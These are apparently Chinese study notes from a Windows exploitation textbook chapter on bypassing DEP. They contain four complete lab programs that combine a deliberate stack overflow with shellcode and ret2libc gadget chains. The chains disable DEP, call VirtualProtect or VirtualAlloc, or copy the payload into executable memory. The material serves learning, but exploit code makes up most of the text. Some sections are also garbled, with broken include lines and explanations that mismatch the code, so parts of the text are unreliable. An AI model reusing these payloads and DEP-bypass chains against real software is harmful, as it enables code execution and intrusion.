12.1 DEP 机制的保护原理
- DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。
12.3 利用 Ret2Libc 挑战 DEP
让程序跳转到一个已经存在的系统函数中,因为已经存在的系统函数必然存在于可执行页上,所以此时 DEP 是不会拦截。也就是说,为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit想要的功能了。这种思想下有三种方法:
思路是调用ZwSetInformationProcess函数把DEP关闭,但是ZwSetInformationProcess 的参数中包含着0x00这样的截断字符串,所以当字符串复制时会被截断。
- 所以通过系统中其他地方会关闭DEP的调用:
- 当 DLL 受 SafeDisc 版权保护系统保护时。
- 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时。
- Windows V ista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动 DEP 的模块时。
- 以 SafeDisc 为例子:
- 该攻击方法的思路就是通过修改0x7C93CD24处的AL寄存器的值为1,然后跳到0x7C93CD24下面去执行关闭DEP的代码,DEP关闭后就能够在栈里执行我们的shellcode了。
- 实验代码: ```c // GS_Virtual.cpp : 定义控制台应用程序的入口点。 //
include
include
include
include
char shellcode[]= “\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C” “\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53” “\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B” “\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95” “\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59” “\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A” “\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75” “\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03” “\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB” “\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50” “\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90” “\x52\xE2\x92\x7C”//MOV EAX,1 RETN地址 “\x85\x8B\x1D\x5D”//修正EBP “\x19\x4A\x97\x7C”//增大ESP “\xB4\xC1\xC5\x7D”//jmp esp “\x24\xCD\x93\x7C”//关闭DEP代码的起始位置 ; 关闭DEP返回的指令是retn 4,而返回时,栈顶是jmp esp指令,所并且retn到jmp esp之后,esp+4指向了回跳指令,所以能够通过长跳转跳到shellcode的起始位置。 “\xE9\x33\xFF\xFF”//回跳指令,通过jmp esp指令跳到这里,然后再跳到shellcode的起始位置。 “\xFF\x90\x90\x90” ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary(“shell32.dll”); char temp[200]; __asm int 3; test(); return 0; }
- 代码的思路:<br />(1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。<br />(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。<br />(3)将函数的返回地址覆盖为类似 MOV AL,1 retn的指令,在将AL置1 后转入0x7C93CD24关闭 DEP。<br />(4)DEP 关闭后 shellcode 就可以正常执行了。
- 修正EBP:是因为如果直接返回到关闭DEP的函数,在执行关闭DEP函数的代码时,会向EBP-4的位置写入数据,而我们覆盖将EBP全部填写为了90,所以会出现指针错误。
- 增大ESP:因为修正EBP之后ESP相对于EBP在高地址,所以当调用关闭DEP函数的代码时,如果有进行压栈的操作,会把关闭EBP函数所使用的参数(EBP-4)的位置给冲刷掉。如果减小ESP会有可能破坏到我们的shellcode,所以增大ESP。
- jmp esp指令和回跳指令:jmp esp作用是让程序转入堆栈执行。关闭DEP函数的返回指令是retn 4,而返回时,栈顶是jmp esp指令,所并且retn到jmp esp之后,esp+4指向了回跳指令,所以能够通过长跳转跳到shellcode的起始位置。
- 关键技术点:
- 修正EBP的手段1:观察执行完mov eax,1后的寄存器,找到可以存放可以写入的地址的寄存器(esp),然后使用(push esp;pop ebp;retn)指令序列,修改ebp的值为该寄存器的值。由于当test()函数返回时,会执行堆栈平衡操作,所以如果直接将 ESP 的值赋给 EBP 返回后,ESP 相对 EBP 位于高址位置,当有入栈操作时 EBP-4 处的值可能会被冲刷掉。所以后续需要修改esp。
- 修正ESI寄存器的手段2:先使用pop eax retn把pop esi retn指令的地址放入eax中,然后执行push esp jmp eax指令,就可以把exp寄存器的值放入esi寄存器。
<a name="rFHP8"></a>
### 12.3.2 Ret2Libc 实战之利用 VirtualProtect
- 思路是使用VirtualProtect函数(能够设置内存页的属性)将shellcode处的代码设置为可执行,进而执行我们的shellcode得以执行。
![image-20210512210215632.png](https://cdn.nlark.com/yuque/0/2021/png/2701130/1620869137203-bed72d4d-b9db-44f9-9cf6-ab927111ed1f.png#align=left&display=inline&height=333&id=u3c78e3e6&margin=%5Bobject%20Object%5D&name=image-20210512210215632.png&originHeight=333&originWidth=373&size=44746&status=done&style=none&width=373)
- 实验代码:
```c
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0A\x1A\xBF\x7C"//pop esi;pop ebx;pop edi;retn
"\xBA\xD9\xBB\x7C"//修正EBP push esp;pop ebp;retn 4
"\x8B\x17\x84\x7C"//RETN
"\x90\x90\x90\x90"
"\xBF\x7D\xC9\x77"//push esp jmp eax push esp设置要修改属性内存的地址(ebp+8位置的参数),因为此时eax指向栈中的一个位置,然后执行eax中地址指向的pop pop pop retn设置更改内存的属性。
"\xFF\x00\x00\x00"//要修改内存的大小
"\x40\x00\x00\x00"//可读可写可执行属性代码
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE8\x1F\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
- 代码思路:
(1)为了更直观的反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。
(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。
(3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 memcpy 函数将 shellcode 复制到内存中的可读可写可执行区域。
(4)最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过。 关键技术点:
原理:当程序需要一段可执行内存时,可以通过 kernel32.dll 中的 VirtualAlloc 函数来申请一段具有可 执行属性的内存。我们就可以将 Ret2Libc 的第一跳设置为 VirtualAlloc 函数地址,然后将 shellcode 复制到申请的内存空间里,以绕过 DEP 的限制。
- 实验代码: ```c // GS_Virtual.cpp : 定义控制台应用程序的入口点。 //
include
include
include
include
char shellcode[]=
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90”
“\xBA\xD9\xBB\x7C”//修正EBP retn 4
“\xBC\x45\x82\x7C”//申请空间
“\x90\x90\x90\x90”
“\xFF\xFF\xFF\xFF”//-1当前进程
“\x00\x00\x03\x00”//申请空间起始地址
“\xFF\x00\x00\x00”//申请空间大小
“\x00\x10\x00\x00”//申请类型
“\x40\x00\x00\x00”//申请空间访问类型
“\x90\x90\x90\x90”
“\x8A\x17\x84\x7C”//pop eax retn
“\x90\x90\x90\x90”
“\x90\x90\x90\x90”
“\x90\x90\x90\x90”
“\x90\x90\x90\x90”
“\x0B\x1A\xBF\x7C”//pop pop retn
“\xBA\xD9\xBB\x7C”//修正EBP retn4
“\x5F\x78\xA6\x7C”//pop retn
“\x00\x00\x03\x00”//可执行内存空间地址,转入执行用 <-执行完memcpy后返回到shellcode执行
“\x00\x00\x03\x00”//可执行内存空间地址,拷贝用 <-memcpy的目的地址
“\xBF\x7D\xC9\x77”//push esp jmp eax && 原始shellcode起始地址 <-memcpy的源地址地址,使用push esp动态来获取shellcode的地址
“\xFF\x00\x00\x00”//shellcode长度 <-memcpy复制的长度
“\xAC\xAF\x94\x7C”//memcpy
“\x00\x00\x03\x00”//一个可以读地址
“\x00\x00\x03\x00”//一个可以读地址
“\x00\x90\x90\x94”
“\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C”
“\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53”
“\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B”
“\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95”
“\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59”
“\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A”
“\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75”
“\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03”
“\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB”
“\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50”
“\x53\xFF\x57\xFC\x53\xFF\x57\xF8”
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary(“shell32.dll”);
char temp[200];
test();
return 0;
}
- 代码利用思路:
(1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。<br />(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。<br />(3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 VirtualAlloc 函数申请一段具有执行权限的内存。<br />(4)通过 memcpy 函数将 shellcode 复制到 VirtualAlloc 函数申请的可执行内存空间中。<br />(5)最后在这段可执行的内存空间中执行 shellcode,实现 DEP的绕过。
<a name="PEL29"></a>
## 12.4 利用可执行内存挑战 DEP
- 原理:将shellcode复制到可以执行的内存空间中,并劫持控制流指向我们的shellcode。
- 实验代码:
```c
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\x5F\x78\xA6\x7C"//pop retn
"\x08\x00\x14\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
"\x00\x00\x14\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
- 代码的利用思路:
(1)为了更直观的反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。
(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。
(3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 memcpy 函数将 shellcode 复制到内存中的可读可写可执行区域。
(4)最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过。